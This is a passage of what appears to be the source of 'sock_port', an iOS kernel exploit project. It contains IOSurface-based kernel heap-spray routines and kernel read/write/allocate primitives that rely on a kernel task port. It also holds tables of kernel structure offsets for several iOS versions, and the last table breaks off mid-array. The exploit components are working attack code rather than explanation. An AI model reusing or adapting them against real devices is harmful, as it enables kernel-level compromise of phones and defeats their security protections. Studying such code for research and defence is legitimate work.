http://www.opensource.apple.com/apsl/ and read it before using this * file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_LICENSE_HEADER_END@ */ /* * Copyright (c) 1999 Apple Computer, Inc. All rights reserved. * * HISTORY * */ #ifndef __OS_OSMESSAGENOTIFICATION_H #define __OS_OSMESSAGENOTIFICATION_H #ifdef __cplusplus extern "C" { #endif #include #include "IOReturn.h" enum { kFirstIOKitNotificationType = 100, kIOServicePublishNotificationType = 100, kIOServiceMatchedNotificationType = 101, kIOServiceTerminatedNotificationType = 102, kIOAsyncCompletionNotificationType = 150, kIOServiceMessageNotificationType = 160, kLastIOKitNotificationType = 199 }; enum { kOSNotificationMessageID = 53, kOSAsyncCompleteMessageID = 57, kMaxAsyncArgs = 16 }; enum { kIOAsyncReservedIndex = 0, kIOAsyncReservedCount, kIOAsyncCalloutFuncIndex = kIOAsyncReservedCount, kIOAsyncCalloutRefconIndex, kIOAsyncCalloutCount, kIOMatchingCalloutFuncIndex = kIOAsyncReservedCount, kIOMatchingCalloutRefconIndex, kIOMatchingCalloutCount, kIOInterestCalloutFuncIndex = kIOAsyncReservedCount, kIOInterestCalloutRefconIndex, kIOInterestCalloutServiceIndex, kIOInterestCalloutCount }; enum { kOSAsyncRefCount = 8, kOSAsyncRefSize = 32 }; typedef natural_t OSAsyncReference[kOSAsyncRefCount]; struct OSNotificationHeader { vm_size_t size; /* content size */ natural_t type; OSAsyncReference reference; #if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) unsigned char content[]; #else unsigned char content[0]; #endif }; struct IOServiceInterestContent { natural_t messageType; void * messageArgument[1]; }; struct IOAsyncCompletionContent { IOReturn result; #if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) void * args[]; #else void * args[0]; #endif }; #ifndef __cplusplus typedef struct OSNotificationHeader OSNotificationHeader; typedef struct IOServiceInterestContent IOServiceInterestContent; typedef struct IOAsyncCompletionContent IOAsyncCompletionContent; #endif #ifdef __cplusplus } #endif #endif /* __OS_OSMESSAGENOTIFICATION_H */ ================================================ FILE: sock_port/iosurface.c ================================================ /* * iosurface.c * Brandon Azad */ #define IOSURFACE_EXTERN #include "iosurface.h" // ---- Global variables -------------------------------------------------------------------------- // Is the IOSurface subsystem initialized? static bool IOSurface_initialized; // ---- Functions --------------------------------------------------------------------------------- #define ERROR(str, ...) printf("[-] "str, ##__VA_ARGS__) bool IOSurface_init() { if (IOSurface_initialized) { return true; } IOSurfaceRoot = IOServiceGetMatchingService( kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); if (IOSurfaceRoot == MACH_PORT_NULL) { ERROR("could not find %s", "IOSurfaceRoot"); return false; } kern_return_t kr = IOServiceOpen( IOSurfaceRoot, mach_task_self(), 0, &IOSurfaceRootUserClient); if (kr != KERN_SUCCESS) { ERROR("could not open %s", "IOSurfaceRootUserClient"); return false; } struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = 0x4000, }; struct IOSurfaceLockResult lock_result; extern uint32_t create_outsize; size_t lock_result_size = create_outsize; kr = IOConnectCallMethod( IOSurfaceRootUserClient, 6, // create_surface_client_fast_path NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size); if (kr != KERN_SUCCESS) { ERROR("could not create %s: 0x%x", "IOSurfaceClient", kr); return false; } IOSurface_id = lock_result.surface_id; if (!IOSurface_id) { IOSurface_id = (uint32_t)lock_result.addr3; } IOSurface_initialized = true; return true; } void IOSurface_deinit() { assert(IOSurface_initialized); IOSurface_initialized = false; IOSurface_id = 0; IOServiceClose(IOSurfaceRootUserClient); IOObjectRelease(IOSurfaceRoot); } /* * IOSurface_set_value * * Description: * A wrapper around IOSurfaceRootUserClient::set_value(). */ bool IOSurface_set_value(const struct IOSurfaceValueArgs *args, size_t args_size) { struct IOSurfaceValueResultArgs result; size_t result_size = sizeof(result); kern_return_t kr = IOConnectCallMethod( IOSurfaceRootUserClient, 9, // set_value NULL, 0, args, args_size, NULL, NULL, &result, &result_size); if (kr != KERN_SUCCESS) { ERROR("failed to %s value in %s: 0x%x", "set", "IOSurface", kr); return false; } return true; } /* * IOSurface_get_value * * Description: * A wrapper around IOSurfaceRootUserClient::get_value(). */ static bool IOSurface_get_value(const struct IOSurfaceValueArgs *in, size_t in_size, struct IOSurfaceValueArgs *out, size_t *out_size) { kern_return_t kr = IOConnectCallMethod( IOSurfaceRootUserClient, 10, // get_value NULL, 0, in, in_size, NULL, NULL, out, out_size); if (kr != KERN_SUCCESS) { ERROR("failed to %s value in %s: 0x%x", "get", "IOSurface", kr); return false; } return true; } /* * IOSurface_remove_value * * Description: * A wrapper around IOSurfaceRootUserClient::remove_value(). */ static bool IOSurface_remove_value(const struct IOSurfaceValueArgs *args, size_t args_size) { struct IOSurfaceValueResultArgs result; size_t result_size = sizeof(result); kern_return_t kr = IOConnectCallMethod( IOSurfaceRootUserClient, 11, // remove_value NULL, 0, args, args_size, NULL, NULL, &result, &result_size); if (kr != KERN_SUCCESS) { ERROR("failed to %s value in %s: 0x%x", "remove", "IOSurface", kr); return false; } return true; } /* * base255_encode * * Description: * Encode an integer so that it does not contain any null bytes. */ static uint32_t base255_encode(uint32_t value) { uint32_t encoded = 0; for (unsigned i = 0; i < sizeof(value); i++) { encoded |= ((value % 255) + 1) << (8 * i); value /= 255; } return encoded; } /* * xml_units_for_data_size * * Description: * Return the number of XML units needed to store the given size of data in an OSString. */ static size_t xml_units_for_data_size(size_t data_size) { return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t); } /* * serialize_IOSurface_data_array * * Description: * Create the template of the serialized array to pass to IOSurfaceUserClient::set_value(). * Returns the size of the serialized data in bytes. */ static size_t serialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size, uint32_t **xml_data, uint32_t **key) { uint32_t *xml = xml0; *xml++ = kOSSerializeBinarySignature; *xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection; *xml++ = kOSSerializeArray | array_length; for (size_t i = 0; i < array_length; i++) { uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0); *xml++ = kOSSerializeData | (data_size - 1) | flags; xml_data[i] = xml; xml += xml_units_for_data_size(data_size); } *xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection; *key = xml++; // This will be filled in on each array loop. *xml++ = 0; // Null-terminate the symbol. return (xml - xml0) * sizeof(*xml); } /* * IOSurface_spray_with_gc_internal * * Description: * A generalized version of IOSurface_spray_with_gc() and IOSurface_spray_size_with_gc(). */ static uint32_t total_arrays = 0; static bool IOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) { assert(array_count <= 0xffffff); assert(array_length <= 0xffff); assert(data_size <= 0xffffff); assert(extra_count < array_count); // Make sure our IOSurface is initialized. bool ok = IOSurface_init(); if (!ok) { return 0; } // How big will our OSUnserializeBinary dictionary be? uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0); size_t xml_units_per_data = xml_units_for_data_size(data_size); size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1; // Allocate the args struct. struct IOSurfaceValueArgs *args; size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]); args = malloc(args_size); assert(args != 0); // Build the IOSurfaceValueArgs. args->surface_id = IOSurface_id; // Create the serialized OSArray. We'll remember the locations we need to fill in with our // data as well as the slot we need to set our key. uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data)); assert(xml_data != NULL); uint32_t *key; size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key); assert(xml_size == xml_units * sizeof(args->xml[0])); // Keep track of when we need to do GC. size_t sprayed = 0; size_t next_gc_step = 0; // Loop through the arrays. for (uint32_t array_id = 0; array_id < array_count; array_id++) { // If we've crossed the GC sleep boundary, sleep for a bit and schedule the // next one. // Now build the array and its elements. *key = base255_encode(total_arrays + array_id); for (uint32_t data_id = 0; data_id < current_array_length; data_id++) { // Update the data for this spray if the user requested. if (callback != NULL) { callback(array_id, data_id, data, data_size); } // Copy in the data to the appropriate slot. memcpy(xml_data[data_id], data, data_size - 1); } // Finally set the array in the surface. ok = IOSurface_set_value(args, args_size); if (!ok) { free(args); free(xml_data); return false; } if (ok) { sprayed += data_size * current_array_length; // If we just sprayed an array with an extra element, decrement the // outstanding extra_count. if (current_array_length > array_length) { assert(extra_count > 0); extra_count--; // If our extra_count is now 0, rebuild our serialized array. (We // could implement this as a memmove(), but I'm lazy.) if (extra_count == 0) { current_array_length--; serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key); } } } } if (next_gc_step > 0) { // printf("\n"); } // Clean up resources. free(args); free(xml_data); total_arrays += array_count; return true; } bool IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) { return IOSurface_spray_with_gc_internal(array_count, array_length, 0, data, data_size, callback); } bool IOSurface_spray_size_with_gc(uint32_t array_count, size_t spray_size, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) { assert(array_count <= 0xffffff); assert(data_size <= 0xffffff); size_t data_count = (spray_size + data_size - 1) / data_size; size_t array_length = data_count / array_count; size_t extra_count = data_count % array_count; assert(array_length <= 0xffff); return IOSurface_spray_with_gc_internal(array_count, (uint32_t) array_length, (uint32_t) extra_count, data, data_size, callback); } bool IOSurface_spray_read_array(uint32_t array_id, uint32_t array_length, uint32_t data_size, void (^callback)(uint32_t data_id, void *data, size_t size)) { assert(IOSurface_initialized); assert(array_id < 0xffffff); assert(array_length <= 0xffff); assert(data_size <= 0xffffff); bool success = false; // Create the input args. struct IOSurfaceValueArgs_string args_in = {}; args_in.surface_id = IOSurface_id; args_in.string_data = base255_encode(array_id); // Create the output args. size_t xml_units_per_data = xml_units_for_data_size(data_size); size_t xml_units = 1 + 1 + (1 + xml_units_per_data) * array_length; struct IOSurfaceValueArgs *args_out; size_t args_out_size = sizeof(*args_out) + xml_units * sizeof(args_out->xml[0]); // Over-allocate the output buffer a little bit. This allows us to directly pass the inline // data to the client without having to worry about the fact that the kernel data is 1 byte // shorter (which otherwise would produce an out-of-bounds read on the last element for // certain data sizes). Yeah, it's a hack, deal with it. args_out = malloc(args_out_size + sizeof(uint32_t)); assert(args_out != 0); // Get the value. bool ok = IOSurface_get_value((struct IOSurfaceValueArgs *)&args_in, sizeof(args_in), args_out, &args_out_size); if (!ok) { goto fail; } // Do the ugly parsing ourselves. :( uint32_t *xml = args_out->xml; if (*xml++ != kOSSerializeBinarySignature) { ERROR("did not find OSSerializeBinary signature"); goto fail; } if (*xml++ != (kOSSerializeArray | array_length | kOSSerializeEndCollection)) { ERROR("unexpected container"); goto fail; } for (uint32_t data_id = 0; data_id < array_length; data_id++) { uint32_t flags = (data_id == array_length - 1 ? kOSSerializeEndCollection : 0); if (*xml++ != (kOSSerializeString | data_size - 1 | flags)) { ERROR("unexpected data: 0x%x != 0x%x at index %u", xml[-1], kOSSerializeString | data_size - 1 | flags, data_id); goto fail; } callback(data_id, (void *)xml, data_size); xml += xml_units_per_data; } success = true; fail: free(args_out); return success; } bool IOSurface_spray_read_all_data(uint32_t array_count, uint32_t array_length, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) { assert(IOSurface_initialized); assert(array_count <= 0xffffff); assert(array_length <= 0xffff); assert(data_size <= 0xffffff); bool ok = true; //TODO: We should probably amortize the creation of the output buffer. for (uint32_t array_id = 0; array_id < array_count; array_id++) { ok &= IOSurface_spray_read_array(array_id, array_length, data_size, ^(uint32_t data_id, void *data, size_t size) { callback(array_id, data_id, data, size); }); } return ok; } bool IOSurface_spray_remove_array(uint32_t array_id) { assert(IOSurface_initialized); assert(array_id < 0xffffff); struct IOSurfaceValueArgs_string args = {}; args.surface_id = IOSurface_id; args.string_data = base255_encode(array_id); return IOSurface_remove_value((struct IOSurfaceValueArgs *)&args, sizeof(args)); } bool IOSurface_spray_clear(uint32_t array_count) { assert(IOSurface_initialized); assert(array_count <= 0xffffff); bool ok = true; for (uint32_t array_id = 0; array_id < array_count; array_id++) { ok &= IOSurface_spray_remove_array(array_id); } return ok; } ================================================ FILE: sock_port/iosurface.h ================================================ /* * iosurface.h * Brandon Azad */ #ifndef VOUCHER_SWAP__IOSURFACE_H_ #define VOUCHER_SWAP__IOSURFACE_H_ #include #include #include #include #include #include #include #include "exploit_utilities.h" #ifdef IOSURFACE_EXTERN #define extern IOSURFACE_EXTERN #endif // The IOSurfaceRoot service. extern mach_port_t IOSurfaceRoot; // An IOSurfaceRootUserClient instance. extern mach_port_t IOSurfaceRootUserClient; // The ID of the IOSurface we're using. extern uint32_t IOSurface_id; /* * IOSurface_init * * Description: * Initialize the IOSurface subsystem. */ bool IOSurface_init(void); /* * IOSurface_deinit * * Description: * Tear down the IOSurface subsystem. Any sprayed memory will be automatically deallocated. */ void IOSurface_deinit(void); /* * IOSurface_spray_with_gc * * Description: * Spray kernel memory using IOSurface properties. * * The current implementation stores each data allocation in an OSString. The reason for this * is that OSString contents will be allocated using kalloc() even for allocations larger than * the page size. OSData on the other hand will use kmem_alloc() for large allocations. * Consequently, the last byte of data will be zeroed out to create a null terminator. */ bool IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)); /* * IOSurface_spray_size_with_gc * * Description: * Spray kernel memory using IOSurface properties. * * This function computes the number of elements per array automatically. */ bool IOSurface_spray_size_with_gc(uint32_t array_count, size_t spray_size, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)); /* * IOSurface_spray_read_array * * Description: * Read back the data elements in a particular array in a particular IOSurface spray. */ bool IOSurface_spray_read_array(uint32_t array_id, uint32_t array_length, uint32_t data_size, void (^callback)(uint32_t data_id, void *data, size_t size)); /* * IOSurface_spray_read_all_data * * Description: * Read back all the data elements in an IOSurface spray. */ bool IOSurface_spray_read_all_data(uint32_t array_count, uint32_t array_length, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)); /* * IOSurface_spray_remove_array * * Description: * Remove a particular array from an IOSurface spray, freeing the contained data elements. */ bool IOSurface_spray_remove_array(uint32_t array_id); /* * IOSurface_spray_clear * * Description: * Remove all the arrays from an IOSurface spray, freeing all the data elements. */ bool IOSurface_spray_clear(uint32_t array_count); // ---- IOSurface types --------------------------------------------------------------------------- struct _IOSurfaceFastCreateArgs { uint64_t address; uint32_t width; uint32_t height; uint32_t pixel_format; uint32_t bytes_per_element; uint32_t bytes_per_row; uint32_t alloc_size; }; struct IOSurfaceLockResult { uint64_t addr1; uint64_t addr2; uint64_t addr3; uint32_t surface_id; uint8_t _pad2[0xdd0-0x18-0x4]; }; struct IOSurfaceValueArgs { uint32_t surface_id; uint32_t _out1; union { uint32_t xml[0]; char string[0]; }; }; struct IOSurfaceValueArgs_string { uint32_t surface_id; uint32_t _out1; uint32_t string_data; char null; }; struct IOSurfaceValueResultArgs { uint32_t out; }; bool IOSurface_set_value(const struct IOSurfaceValueArgs *args, size_t args_size); #undef extern #endif ================================================ FILE: sock_port/kernel_memory.c ================================================ // // kernel_memory.c // sock_port // // Created by Jake James on 7/18/19. // Copyright © 2019 Jake James. All rights reserved. // #include "kernel_memory.h" static mach_port_t tfpzero; void init_kernel_memory(mach_port_t tfp0) { tfpzero = tfp0; } uint64_t kalloc(vm_size_t size) { mach_vm_address_t address = 0; mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); return address; } void kfree(mach_vm_address_t address, vm_size_t size) { mach_vm_deallocate(tfpzero, address, size); } size_t kread(uint64_t where, void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { mach_vm_size_t sz, chunk = 2048; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); if (rv || sz == 0) { printf("[-] error on kread(0x%016llx)\n", where); break; } offset += sz; } return offset; } uint32_t rk32(uint64_t where) { uint32_t out; kread(where, &out, sizeof(uint32_t)); return out; } uint64_t rk64(uint64_t where) { uint64_t out; kread(where, &out, sizeof(uint64_t)); return out; } size_t kwrite(uint64_t where, const void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { size_t chunk = 2048; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk); if (rv) { printf("[-] error on kwrite(0x%016llx)\n", where); break; } offset += chunk; } return offset; } void wk32(uint64_t where, uint32_t what) { uint32_t _what = what; kwrite(where, &_what, sizeof(uint32_t)); } void wk64(uint64_t where, uint64_t what) { uint64_t _what = what; kwrite(where, &_what, sizeof(uint64_t)); } uint64_t find_port(mach_port_name_t port, uint64_t task_self) { uint64_t task_addr = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); uint32_t port_index = port >> 8; const int sizeof_ipc_entry_t = 0x18; uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); return port_addr; } ================================================ FILE: sock_port/kernel_memory.h ================================================ // // kernel_memory.h // sock_port // // Created by Jake James on 7/18/19. // Copyright © 2019 Jake James. All rights reserved. // #ifndef kernel_memory_h #define kernel_memory_h #include #include #include "offsets.h" kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);; kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt); void init_kernel_memory(mach_port_t tfp0); size_t kread(uint64_t where, void *p, size_t size); uint32_t rk32(uint64_t where); uint64_t rk64(uint64_t where); size_t kwrite(uint64_t where, const void *p, size_t size); void wk32(uint64_t where, uint32_t what); void wk64(uint64_t where, uint64_t what); void kfree(mach_vm_address_t address, vm_size_t size); uint64_t kalloc(vm_size_t size); uint64_t find_port(mach_port_name_t port, uint64_t task_self); #endif /* kernel_memory_h */ ================================================ FILE: sock_port/main.m ================================================ // // main.m // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #import #import "AppDelegate.h" int main(int argc, char * argv[]) { @autoreleasepool { return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); } } ================================================ FILE: sock_port/offsets.h ================================================ enum kstruct_offset { /* struct task */ KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, KSTRUCT_OFFSET_TASK_REF_COUNT, KSTRUCT_OFFSET_TASK_ACTIVE, KSTRUCT_OFFSET_TASK_VM_MAP, KSTRUCT_OFFSET_TASK_NEXT, KSTRUCT_OFFSET_TASK_PREV, KSTRUCT_OFFSET_TASK_ITK_SELF, KSTRUCT_OFFSET_TASK_ITK_SPACE, KSTRUCT_OFFSET_TASK_BSD_INFO, /* struct ipc_port */ KSTRUCT_OFFSET_IPC_PORT_IO_BITS, KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, /* struct proc */ KSTRUCT_OFFSET_PROC_PID, KSTRUCT_OFFSET_PROC_P_FD, /* struct filedesc */ KSTRUCT_OFFSET_FILEDESC_FD_OFILES, /* struct fileproc */ KSTRUCT_OFFSET_FILEPROC_F_FGLOB, /* struct fileglob */ KSTRUCT_OFFSET_FILEGLOB_FG_DATA, /* struct socket */ KSTRUCT_OFFSET_SOCKET_SO_PCB, /* struct pipe */ KSTRUCT_OFFSET_PIPE_BUFFER, /* struct ipc_space */ KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE, KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE, KFREE_ADDR_OFFSET, }; int koffset(enum kstruct_offset offset); void offsets_init(void); extern uint32_t create_outsize; ================================================ FILE: sock_port/offsets.m ================================================ #import #import #import #import #import #import #import #import "offsets.h" #define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame) #define SYSTEM_VERSION_GREATER_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending) #define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending) #define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending) #define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending) int* offsets = NULL; int kstruct_offsets_10_x[] = { 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 0x30, // KSTRUCT_OFFSET_TASK_PREV, 0xd8, // KSTRUCT_OFFSET_TASK_ITK_SELF, 0x300, // KSTRUCT_OFFSET_TASK_ITK_SPACE, 0x360, // KSTRUCT_OFFSET_TASK_BSD_INFO, 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 0x10, // KSTRUCT_OFFSET_PROC_PID, 0x108, // KSTRUCT_OFFSET_PROC_P_FD 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 0x6c, // KFREE_ADDR_OFFSET }; int kstruct_offsets_11_0[] = { 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 0x30, // KSTRUCT_OFFSET_TASK_PREV, 0xd8, // KSTRUCT_OFFSET_TASK_ITK_SELF, 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE, 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 0x10, // KSTRUCT_OFFSET_PROC_PID, 0x108, // KSTRUCT_OFFSET_PROC_P_FD 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 0x6c, // KFREE_ADDR_OFFSET }; int kstruct_offsets_11_3[] = { 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 0x30, // KSTRUCT_OFFSET_TASK_PREV, 0xd8, // KSTRUCT_OFFSET_TASK_ITK_SELF, 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE, 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 0x10, // KSTRUCT_OFFSET_PROC_PID, 0x108, // KSTRUCT_OFFSET_PROC_P_FD 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 0x7c, // KFREE_ADDR_OFFSET }; int kstruct_offsets_12_0[] = { 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 0x30, // KSTRUCT_OFFSET_TASK_PREV, 0xd8, // KSTRUCT_OFFSET_TASK_ITK_SELF, 0x300, // KSTRUCT_OFFSET_TASK_ITK_SPACE, 0x358, // KSTRUCT_OFFSET_TASK_BSD_INFO, 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 0x60, // KSTRUCT_OFFSET_PROC_PID, 0x100, // KSTRUCT_OFFSET_PROC_P_FD 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 